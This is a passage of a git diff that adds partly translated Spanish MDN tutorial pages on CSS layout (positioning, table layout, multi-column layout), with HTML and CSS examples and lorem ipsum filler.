+&lt;p class="positioned"&gt;Este es mi elemento con posicionamiento absoluto. &lt;/p&gt;
+&lt;p&gt;Soy un elemento básico de nivel de bloque.&lt;/p&gt;</pre>
+
+<pre class="brush: css notranslate">body {
+  width: 500px;
+  margin: 0 auto;
+}
+
+p {
+    background-color: rgb(207,232,220);
+    border: 2px solid rgb(79,185,227);
+    padding: 10px;
+    margin: 10px;
+    border-radius: 5px;
+}
+</pre>
+</div>
+
+<pre class="brush: css notranslate">.positioned {
+    position: absolute;
+    background: rgba(255,84,104,.3);
+    border: 2px solid rgb(255,84,104);
+    top: 30px;
+    left: 30px;
+}</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Absolute_1', '100%', 300) }}</p>
+
+<p>¡Este resultado es muy diferente! El elemento posicionado ahora se ha separado por completo del resto del diseño de la página y se superpone encima de este. Los otros dos párrafos ahora se asientan juntos, como si su hermano con posicionamiento absoluto no existiera. Las propiedades {{cssxref ("top")}} y {{cssxref ("left")}} tienen un efecto diferente en elementos con posicionamiento absoluto que en elementos con posicionamiento relativo. En este caso, los desplazamientos se han calculado desde la parte superior e izquierda de la página. Es posible cambiar el elemento padre para que se convierta en este tipo de contenedor, y lo veremos en el artículo sobre <a href="/es/docs/Learn/CSS/CSS_layout/Positioning">posicionamiento</a>.</p>
+
+<h3 id="Posicionamiento_fijo">Posicionamiento fijo</h3>
+
+<p>El posicionamiento fijo elimina nuestro elemento del flujo de documentos de la misma manera que el posicionamiento absoluto. Sin embargo, en lugar de contar los desplazamientos en relación con el contenedor, se cuentan con respecto a la ventana gráfica. Como el elemento permanece fijo en relación con la ventana gráfica, podemos crear efectos como un menú que permanece fijo mientras la página se desplaza por debajo de él.</p>
+
+<p>En este ejemplo nuestro HTML tiene tres párrafos de texto para poder tener una página que se desplace, y un cuadro al que asignamos la propiedad <code>position: fixed</code>.</p>
+
+<pre class="brush: html notranslate">&lt;h1&gt;Posicionamiento fijo&lt;/h1&gt;
+
+&lt;div class="positioned"&gt;Fijo&lt;/div&gt;
+
+&lt;p&gt;Párrafo 1.&lt;/p&gt;
+&lt;p&gt;Párrafo 2.&lt;/p&gt;
+&lt;p&gt;Párrafo 3.&lt;/p&gt;
+</pre>
+
+<div id="Fixed_1">
+<div class="hidden">
+<h6 id="Ejemplo_de_posicionamiento_fijo">Ejemplo de posicionamiento fijo</h6>
+
+<pre class="brush: html notranslate">&lt;h1&gt;Posicionamiento fijo&lt;/h1&gt;
+
+&lt;div class="positioned"&gt;Fijo&lt;/div&gt;
+
+&lt;p&gt; Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.&lt;/p&gt;
+
+&lt;p&gt;Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.&lt;/p&gt;
+
+&lt;p&gt; Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.&lt;/p&gt;</pre>
+
+<pre class="brush: css notranslate">body {
+    width: 500px;
+    margin: 0 auto;
+}
+
+.positioned {
+    background: rgba(255,84,104,.3);
+    border: 2px solid rgb(255,84,104);
+    padding: 10px;
+    margin: 10px;
+    border-radius: 5px;
+}</pre>
+</div>
+
+<pre class="brush: css notranslate">.positioned {
+    position: fixed;
+    top: 30px;
+    left: 30px;
+}</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Fixed_1', '100%', 200) }}</p>
+
+<h3 id="Posicionamiento_pegajoso">Posicionamiento pegajoso</h3>
+
+<p>El posicionamiento pegajoso es el último método de posicionamiento que tenemos a nuestra disposición. Mezcla el posicionamiento estático predeterminado con el posicionamiento fijo. Cuando un elemento tiene la propiedad <code>position: sticky</code>, se desplaza en flujo normal hasta que se alcanzan los desplazamientos con respecto a la ventana gráfica que hemos definido. En ese punto se queda «atascado» como si tuviera configurado un valor <code>position: fixed</code>.</p>
+
+<div id="Sticky_1">
+<div class="hidden">
+<h6 id="Ejemplo_de_posicionamiento_pegajoso">Ejemplo de posicionamiento pegajoso</h6>
+
+<pre class="brush: html notranslate">&lt;h1&gt;Posicionamiento pegajoso&lt;/h1&gt;
+
+&lt;p&gt; Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.&lt;/p&gt;
+
+&lt;div class="positioned"&gt;Pegajoso&lt;/div&gt;
+
+&lt;p&gt;Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.&lt;/p&gt;
+
+&lt;p&gt; Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.&lt;/p&gt;       </pre>
+
+<pre class="brush: css notranslate">body {
+  width: 500px;
+  margin: 0 auto;
+}
+
+.positioned {
+  background: rgba(255,84,104,.3);
+  border: 2px solid rgb(255,84,104);
+  padding: 10px;
+  margin: 10px;
+  border-radius: 5px;
+}</pre>
+</div>
+
+<pre class="brush: css notranslate">.positioned {
+  position: sticky;
+  top: 30px;
+  left: 30px;
+}</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Sticky_1', '100%', 200) }}</p>
+
+<div class="note">
+<p><strong>Nota</strong>: para obtener más información sobre el posicionamiento, consulta nuestro artículo <a href="/es/docs/Learn/CSS/CSS_layout/Positioning">Posicionamiento</a>.</p>
+</div>
+
+<h2 id="Diseño_de_tablas">Diseño de tablas</h2>
+
+<p>Las tablas HTML sirven para mostrar datos tabulados, pero hace muchos años, antes incluso de que el CSS básico fuera compatible de forma fiable en todos los navegadores, los desarrolladores web también usaban tablas para hacer el diseño completo de una página web, colocando en las diversas filas y columnas de una tabla los títulos de encabezado de la página, los pies de página, las diferentes columnas, etc. Esto funcionó en ese momento, pero presenta muchos problemas: los diseños de tabla no son flexibles, requieren mucho código de marcado, son difíciles de depurar y no son semánticamente correctos (por ejemplo, los usuarios de lectores de pantalla tienen problemas para navegar por estos diseños de página web con tablas).</p>
+
+<p>El aspecto que presenta una tabla en una página web cuando usas el código de marcado de una tabla se debe a un conjunto de propiedades CSS que definen el diseño de la tabla. Estas propiedades se pueden usar para diseñar elementos que no son tablas, un uso que a veces se describe como «usar tablas CSS».</p>
+
+<p>El ejemplo siguiente muestra uno de esos usos; el uso de tablas CSS para el diseño debe considerarse en este punto un método heredado, para aquellas situaciones en las que tienes navegadores muy antiguos que no son compatibles con los métodos Flexbox o Grid.</p>
+
+<p>Veamos un ejemplo. Primero, un código de marcado sencillo que crea un formulario HTML. Cada elemento de entrada tiene una etiqueta, y también hemos incluido un título dentro de un párrafo. Cada par etiqueta/entrada está delimitado por un elemento {{htmlelement ("div")}}, con fines de compaginación.</p>
+
+<pre class="brush: html notranslate">&lt;form&gt;
+  &lt;p&gt;En primer lugar, díganos su nombre y edad.&lt;/p&gt;
+  &lt;div&gt;
+    &lt;label for="fname"&gt;Nombre:&lt;/label&gt;
+    &lt;input type="text" id="fname"&gt;
+  &lt;/div&gt;
+  &lt;div&gt;
+    &lt;label for="lname"&gt;Apellidos:&lt;/label&gt;
+    &lt;input type="text" id="lname"&gt;
+  &lt;/div&gt;
+  &lt;div&gt;
+    &lt;label for="age"&gt;Edad:&lt;/label&gt;
+    &lt;input type="text" id="age"&gt;
+  &lt;/div&gt;
+&lt;/form&gt;</pre>
+
+<p>Ahora, el CSS para nuestro ejemplo. La mayor parte del CSS es bastante común, excepto por los usos de la propiedad {{cssxref ("display")}}. A los elementos {{htmlelement ("form")}}, {{htmlelement ("div")}}, {{htmlelement ("label")}} y {{htmlelement ("input")}} se les dice que se muestren como una tabla, filas de tabla y celdas de tabla, respectivamente; actuarán básicamente como marcas de tabla HTML, y lograrán por defecto la alineación perfecta de las etiquetas y las entradas. Todo lo que hay que hacer es añadir un poco de tamaños, márgenes, etc., para que todo se vea un poco mejor, ¡y listo!</p>
+
+<p>Observa que se la ha proporcionado al párrafo de encabezado <code>display: table-caption;,</code> lo que hace que actúe como una celda de encabezado ({{htmlelement ("caption")}}) de la tabla; y con <code>caption-side: bottom;</code> se le dice a la celda de encabezado que se asiente en la parte inferior de la tabla con fines de aplicación de estilo, aunque en el código fuente el marcado está antes que los elementos <code>&lt;input&gt;</code>. Esto permite un poco de flexibilidad.</p>
+
+<pre class="brush: css notranslate">html {
+  font-family: sans-serif;
+}
+
+form {
+  display: table;
+  margin: 0 auto;
+}
+
+form div {
+  display: table-row;
+}
+
+form label, form input {
+  display: table-cell;
+  margin-bottom: 10px;
+}
+
+form label {
+  width: 200px;
+  padding-right: 5%;
+  text-align: right;
+}
+
+form input {
+  width: 300px;
+}
+
+form p {
+  display: table-caption;
+  caption-side: bottom;
+  width: 300px;
+  color: #999;
+  font-style: italic;
+}</pre>
+
+<p>Esto nos da el resultado siguiente:</p>
+
+<p>{{ EmbedLiveSample('Table_layout', '100%', '170') }}</p>
+
+<p>También puedes ver este ejemplo en vivo en <a href="https://mdn.github.io/learning-area/css/styling-boxes/box-model-recap/css-tables-example.html">css-tables-example.html</a> (ver el <a href="https://github.com/mdn/learning-area/blob/master/css/styling-boxes/box-model-recap/css-tables-example.html">código fuente</a>).</p>
+
+<h2 id="Diseño_en_columnas">Diseño en columnas</h2>
+
+<p>El módulo de diseño en columnas nos proporciona un modo de distribuir el contenido en columnas, de forma similar al modo como el texto fluye en un periódico. Aunque en un contexto web leer en columnas de arriba a abajo no resulta tan útil porque podría obligar a los usuarios a tener que hacer desplazamientos de arriba a abajo, la técnica de organizar el contenido en columnas también puede tener su utilidad.</p>
+
+<p>Para convertir un bloque en un contenedor, utilizamos la propiedad {{cssxref ("column-count")}}, que le dice al navegador cuántas columnas nos gustaría tener, o {{cssxref ("column-width")}}, que le dice al navegador que llene el contenedor con tantas columnas de al menos ese ancho.</p>
+
+<p>En el ejemplo siguiente comenzamos con un bloque de HTML dentro de un elemento <code>&lt;div&gt;</code> que contiene una clase <code>container</code>.</p>
+
+<pre class="brush: html notranslate">&lt;div class="container"&gt;
+    &lt;H1&gt;Diseño en columnas&lt;/ h1&gt;
+
+    &lt;p&gt;Párrafo 1.&lt;/p&gt;
+    &lt;p&gt;Párrafo 2.&lt;/p&gt;
+
+&lt;/div&gt;
+</pre>
+
+<p>Utilizamos un <code>column-width</code> de 200 píxeles en ese contenedor, que crea en el navegador tantas columnas de 200 píxeles como quepan en el contenedor y luego comparte el espacio restante entre las columnas creadas.</p>
+
+<div id="Multicol_1">
+<div class="hidden">
+<h6 id="Ejemplo_de_diseño_en_columnas">Ejemplo de diseño en columnas</h6>
+
+<pre class="brush: html notranslate">&lt;div class="container"&gt;
+        &lt;h1&gt; Diseño en columnas &lt;/h1&gt;
+
+        &lt;p&gt; Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.&lt;/p&gt;
+
+
+        &lt;p&gt;Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.&lt;/p&gt;
+
+    &lt;/div&gt;</pre>
+
+<pre class="brush: css notranslate">body { max-width: 800px; margin: 0 auto; } </pre>
+</div>
+
+<pre class="brush: css notranslate">    .container {
+        column-width: 200px;
+    }</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Multicol_1', '100%', 200) }}</p>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>Este artículo ha proporcionado un breve resumen de todas las tecnologías de diseño que debes conocer. ¡Sigue leyendo para obtener más información sobre cada tecnología individual!</p>
+
+<p>{{NextMenu("Learn/CSS/CSS_layout/Normal_Flow", "Learn/CSS/CSS_layout")}}</p>
+
+<h2 id="En_este_módulo">En este módulo</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Introduction">Introducción al diseño CSS</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Normal_Flow">Flujo normal</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Flexbox">Flexbox</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Grids">Cuadrícula</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Floats">Flotación</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Positioning">Posicionamiento</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Multiple-column_Layout">Diseño en columnas</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Responsive_Design">Diseño adaptativo</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Media_queries">Guía para principiantes sobre consultas a medios</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Legacy_Layout_Methods">Métodos de compaginación heredados</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Supporting_Older_Browsers">Compatibilidad en navegadores antiguos </a></li>
+ <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Fundamental_Layout_Comprehension">Evaluación del conjunto de elementos básicos de compaginación</a></li>
+</ul>
diff --git a/files/es/learn/css/css_layout/positioning/index.html b/files/es/learn/css/css_layout/positioning/index.html
new file mode 100644
index 0000000000..3deb33b91f
--- /dev/null
+++ b/files/es/learn/css/css_layout/positioning/index.html
@@ -0,0 +1,469 @@
+---
+title: Positioning
+slug: Learn/CSS/CSS_layout/Positioning
+translation_of: Learn/CSS/CSS_layout/Positioning
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/CSS/CSS_layout/Floats", "Learn/CSS/CSS_layout/Practical_positioning_examples", "Learn/CSS/CSS_layout")}}</div>
+
+<p class="summary">El posicionamiento permite sacar elementos del flujo normal del diseño del documento, y hacer que se comporten de manera distinta, por ejemplo sentarse encima de otro o permanecer en el mismo lugar dentro de la ventana navegador. Este artículo explica los diferentes valores {{cssxref("position")}}, y como usarlos.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Requisitos:</th>
+   <td>HTML básico (Aprende <a href="/en-US/docs/Learn/HTML/Introduction_to_HTML"> Introducción a HTML</a>), y una idea de cómo trabaja CSS (Aprende  <a href="/en-US/docs/Learn/CSS/Introduction_to_CSS">Introducción a CSS</a>.)</td>
+  </tr>
+  <tr>
+   <th scope="row">Objetivos:</th>
+   <td>Entender como trabajar con posicionamiento CSS.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Flujo_del_Documento">Flujo del Documento</h2>
+
+<p>El posicionamiento es un tema bastante complejo, así que antes de profundizar en el código volvamos a examinar y ampliar un poco la teoría del diseño para darnos una idea de cómo funciona esto.</p>
+
+<p>First of all, individual element boxes are laid out by taking the elements' content, then adding any padding, border and margin around them — it's that <a href="/en-US/docs/Learn/CSS/Introduction_to_CSS/Box_model">box model</a> thing again, which we looked at earlier. By default, a block level element's content is 100% of the width of its parent element, and as tall as its content. Inline elements are all tall as their content, and as wide as their content. You can't set width or height on inline elements — they just sit inside the content of block level elements. If you want to control the size of an inline element in this manner, you need to set it to behave like a block level element with <code>display: block;</code>.</p>
+
+<p>That explains individual elements, but what about how elements interact with one another? The <strong>normal layout flow</strong> (mentioned in the layout introduction article) is the system by which elements are placed inside the browser's viewport. By default, block level elements are laid out vertically in the viewport — each one will appear on a new line below the last one, and they will be separated by any margin that is set on them.</p>
+
+<p>Inline elements behave differently — they don't appear on new lines; instead, they sit on the same line as one another and any adjacent (or wrapped) text content, as long as there is space for them to do so inside the width of the parent block level element. If there isn't space, then the overflowing text or elements will move down to a new line.</p>
+
+<p>If two adjacent elements both have margin set on them and the two margins touch, the larger of the two remains, and the smaller one disappears — this is called <a href="/en-US/docs/Web/CSS/CSS_Box_Model/Mastering_margin_collapsing">margin collapsing</a>, and we have met this before too.</p>
+
+<p>Let's look at a simple example that explains all this:</p>
+
+<pre class="brush: html">&lt;h1&gt;Basic document flow&lt;/h1&gt;
+
+&lt;p&gt;I am a basic block level element. My adjacent block level elements sit on new lines below me.&lt;/p&gt;
+
+&lt;p&gt;By default we span 100% of the width of our parent element, and we are as tall as our child content. Our total width and height is our content + padding + border width/height.&lt;/p&gt;
+
+&lt;p&gt;We are separated by our margins. Because of margin collapsing, we are separated by the width of one of our margins, not both.&lt;/p&gt;
+
+&lt;p&gt;inline elements &lt;span&gt;like this one&lt;/span&gt; and &lt;span&gt;this one&lt;/span&gt; sit on the same line as one another, and adjacent text nodes, if there is space on the same line. Overflowing inline elements will &lt;span&gt;wrap onto a new line if possible (like this one containing text)&lt;/span&gt;, or just go on to a new line if not, much like this image will do: &lt;img src="https://mdn.mozillademos.org/files/13360/long.jpg"&gt;&lt;/p&gt;</pre>
+
+<pre class="brush: css">body {
+  width: 500px;
+  margin: 0 auto;
+}
+
+p {
+  background: aqua;
+  border: 3px solid blue;
+  padding: 10px;
+  margin: 10px;
+}
+
+span {
+  background: red;
+  border: 1px solid black;
+}</pre>
+
+<p>{{ EmbedLiveSample('Document_flow', '100%', 500) }}</p>
+
+<p>We will be revisiting this example a number of times as we go through this article, as we show the effects of the different positioning options available to us.</p>
+
+<p>We'd like you to follow along with the exercises on your local computer, if possible — grab a copy of <code><a href="http://mdn.github.io/learning-area/css/css-layout/positioning/0_basic-flow.html">0_basic-flow.html</a></code> from our Github repo (<a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/positioning/0_basic-flow.html">source code here</a>) and use that as a starting point.</p>
+
+<h2 id="Introducing_positioning">Introducing positioning</h2>
+
+<p>The whole idea of positioning is to allow us to override the basic document flow behaviour described above, to produce interesting effects. What if you want to slightly alter the position of some boxes inside a layout from their default layout flow position, to give a slightly quirky, distressed feel? Positioning is your tool. Or if you want to create a UI element that floats over the top of other parts of the page, and/or always sits in the same place inside the browser window no matter how much the page is scrolled? Positioning makes such layout work possible.</p>
+
+<p>There are a number of different types of positioning that you can put into effect on HTML elements. To make a specific type of positioning active on an element, we use the {{cssxref("position")}} property.</p>
+
+<h3 id="Static_positioning">Static positioning</h3>
+
+<p>Static positioning is the default that every element gets — it just means "put the element into its normal position in the document layout flow — nothing special to see here."</p>
+
+<p>To demonstrate this, and get your example set up for future sections, first add a <code>class</code> of <code>positioned</code> to the second {{htmlelement("p")}} in the HTML:</p>
+
+<pre class="brush: html">&lt;p class="positioned"&gt; ... &lt;/p&gt;</pre>
+
+<p>Now add the following rule to the bottom of your CSS:</p>
+
+<pre class="brush: css">.positioned {
+  position: static;
+  background: yellow;
+}</pre>
+
+<p>If you now save and refresh, you'll see no difference at all, except for the updated background color of the 2nd paragraph. This is fine — as we said before, static positioning is the default behaviour!</p>
+
+<div class="note">
+<p><strong>Note</strong>: You can see the example at this point live at <code><a href="http://mdn.github.io/learning-area/css/css-layout/positioning/1_static-positioning.html">1_static-positioning.html</a></code> (<a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/positioning/1_static-positioning.html">see source code</a>).</p>
+</div>
+
+<h3 id="Relative_positioning">Relative positioning</h3>
+
+<p>Relative positioning is the first position type we'll take a look at. This is very similar to static positioning, except that once the positioned element has taken its place in the normal layout flow, you can then modify its final position, including making it overlap other elements on the page. Go ahead and update the position declaration in your code:</p>
+
+<pre class="brush: css">position: relative;</pre>
+
+<p>If you save and refresh at this stage, you won't see a change in the result at all — so how do you modify the element's position? You need to use the {{cssxref("top")}}, {{cssxref("bottom")}}, {{cssxref("left")}}, and {{cssxref("right")}} properties, which we'll explain in the next section.</p>
+
+<h3 id="Introducing_top_bottom_left_and_right">Introducing top, bottom, left, and right</h3>
+
+<p>{{cssxref("top")}}, {{cssxref("bottom")}}, {{cssxref("left")}}, and {{cssxref("right")}} are used alongside {{cssxref("position")}} to specify exactly where to move the positioned element to. To try this out, add the following declarations to the <code>.positioned</code> rule in your CSS:</p>
+
+<pre>top: 30px;
+left: 30px;</pre>
+
+<div class="note">
+<p><strong>Note</strong>: The values of these properties can take any <a href="/en-US/docs/Learn/CSS/Introduction_to_CSS/Values_and_units">units</a> you'd logically expect — pixels, mm, rems, %, etc.</p>
+</div>
+
+<p>If you now save and refresh, you'll get a result something like this:</p>
+
+<div class="hidden">
+<pre class="brush: html">&lt;h1&gt;Relative positioning&lt;/h1&gt;
+
+&lt;p&gt;I am a basic block level element. My adjacent block level elements sit on new lines below me.&lt;/p&gt;
+
+&lt;p class="positioned"&gt;By default we span 100% of the width of our parent element, and we are as tall as our child content. Our total width and height is our content + padding + border width/height.&lt;/p&gt;
+
+&lt;p&gt;We are separated by our margins. Because of margin collapsing, we are separated by the width of one of our margins, not both.&lt;/p&gt;
+
+&lt;p&gt;inline elements &lt;span&gt;like this one&lt;/span&gt; and &lt;span&gt;this one&lt;/span&gt; sit on the same line as one another, and adjacent text nodes, if there is space on the same line. Overflowing inline elements &lt;span&gt;wrap onto a new line if possible — like this one containing text&lt;/span&gt;, or just go on to a new line if not, much like this image will do: &lt;img src="https://mdn.mozillademos.org/files/13360/long.jpg"&gt;&lt;/p&gt;</pre>
+
+<pre class="brush: css">body {
+  width: 500px;
+  margin: 0 auto;
+}
+
+p {
+  background: aqua;
+  border: 3px solid blue;
+  padding: 10px;
+  margin: 10px;
+}
+
+span {
+  background: red;
+  border: 1px solid black;
+}
+
+.positioned {
+  position: relative;
+  background: yellow;
+  top: 30px;
+  left: 30px;
+}</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Introducing_top_bottom_left_and_right', '100%', 500) }}</p>
+
+<p>Cool, huh? Ok, so this probably wasn't what you were expecting — why has it moved to the bottom and right if we specified top and left? Illogical as it may initially sound, this is just the way that relative positioning works — you need to think of an invisible force that pushes the side of the positioned box, moving it in the opposite direction. So for example, if you specify <code>top: 30px;</code>, a force pushes the top of the box, causing it to move downwards by 30px.</p>
+
+<div class="note">
+<p><strong>Note</strong>: You can see the example at this point live at <code><a href="http://mdn.github.io/learning-area/css/css-layout/positioning/2_relative-positioning.html">2_relative-positioning.html</a></code> (<a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/positioning/2_relative-positioning.html">see source code</a>).</p>
+</div>
+
+<h3 id="Absolute_positioning">Absolute positioning</h3>
+
+<p>Absolute positioning brings very different results. Let's try changing the position declaration in your code as follows:</p>
+
+<pre>position: absolute;</pre>
+
+<p>If you now save and refresh, you should see something like so:</p>
+
+<div class="hidden">
+<pre class="brush: html">&lt;h1&gt;Absolute positioning&lt;/h1&gt;
+
+&lt;p&gt;I am a basic block level element. My adjacent block level elements sit on new lines below me.&lt;/p&gt;
+
+&lt;p class="positioned"&gt;By default we span 100% of the width of our parent element, and we are as tall as our child content. Our total width and height is our content + padding + border width/height.&lt;/p&gt;
+
+&lt;p&gt;We are separated by our margins. Because of margin collapsing, we are separated by the width of one of our margins, not both.&lt;/p&gt;
+
+&lt;p&gt;inline elements &lt;span&gt;like this one&lt;/span&gt; and &lt;span&gt;this one&lt;/span&gt; sit on the same line as one another, and adjacent text nodes, if there is space on the same line. Overflowing inline elements &lt;span&gt;wrap onto a new line if possible — like this one containing text&lt;/span&gt;, or just go on to a new line if not, much like this image will do: &lt;img src="https://mdn.mozillademos.org/files/13360/long.jpg"&gt;&lt;/p&gt;</pre>
+
+<pre class="brush: css">body {
+  width: 500px;
+  margin: 0 auto;
+}
+
+p {
+  background: aqua;
+  border: 3px solid blue;
+  padding: 10px;
+  margin: 10px;
+}
+
+span {
+  background: red;
+  border: 1px solid black;
+}
+
+.positioned {
+  position: absolute;
+  background: yellow;
+  top: 30px;
+  left: 30px;
+}</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Absolute_positioning', '100%', 420) }}</p>
+
+<p>First of all, note that the gap where the positioned element should be in the document flow is no longer there — the first and third elements have closed together like it no longer exists! Well, in a way, this is true. An absolutely positioned element no longer exists in the normal document layout flow. Instead, it sits on its own layer separate from everything else. This is very useful — it means that we can create isolated UI features that don't interfere with the position of other elements on the page — for example popup information boxes and control menus, rollover panels, UI features that can be dragged and dropped anywhere on the page, and so on.</p>
+
+<p>Second, notice that the position of the element has changed — this is because {{cssxref("top")}}, {{cssxref("bottom")}}, {{cssxref("left")}}, and {{cssxref("right")}} behave in a different way with absolute positioning. Instead of specifying the direction the element should move in, they specify the distance the element should be from each containing element's sides. So in this case, we are saying that the absolutely positioned element should sit 30px from the top of the "containing element", and 30px from the left.</p>
+
+<div class="note">
+<p><strong>Note</strong>: You can use {{cssxref("top")}}, {{cssxref("bottom")}}, {{cssxref("left")}}, and {{cssxref("right")}} to resize elements if you need to. Try setting <code>top: 0; bottom: 0; left: 0; right: 0;</code> and <code>margin: 0;</code> on your positioned elements and see what happens! Put it back again afterwards...</p>
+</div>
+
+<div class="note">
+<p><strong>Note</strong>: Yes, margins still affect positioned elements. Margin collapsing doesn't, however.</p>
+</div>
+
+<div class="note">
+<p><strong>Note</strong>: You can see the example at this point live at <code><a href="http://mdn.github.io/learning-area/css/css-layout/positioning/3_absolute-positioning.html">3_absolute-positioning.html</a></code> (<a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/positioning/3_absolute-positioning.html">see source code</a>).</p>
+</div>
+
+<h3 id="Positioning_contexts">Positioning contexts</h3>
+
+<p>Which element is the "containing element" of an absolutely positioned element? By default, it is the {{htmlelement("html")}} element — the positioned element is nested inside the {{htmlelement("body")}} in the HTML source, but in the final layout, it is 30px away from the top and left of the edge of the page, which is the {{htmlelement("html")}} element. This is more accurately called the element's <strong>positioning context</strong>.</p>
+
+<p>We can change the <strong>positioning context</strong> — which element the absolutely positioned element is positioned relative to. This is done by setting positioning on one of the element's other ancestors — one of the elements it is nested inside (you can't position it relative to an element it is not nested inside). To demonstrate this, add the following declaration to your body rule:</p>
+
+<pre>position: relative;</pre>
+
+<p>This should give the following result:</p>
+
+<div class="hidden">
+<pre class="brush: html">&lt;h1&gt;Positioning context&lt;/h1&gt;
+
+&lt;p&gt;I am a basic block level element. My adjacent block level elements sit on new lines below me.&lt;/p&gt;
+
+&lt;p class="positioned"&gt;Now I'm absolutely positioned relative to the &lt;code&gt;&amp;lt;body&amp;gt;&lt;/code&gt; element, not the &lt;code&gt;&amp;lt;html&amp;gt;&lt;/code&gt; element!&lt;/p&gt;
+
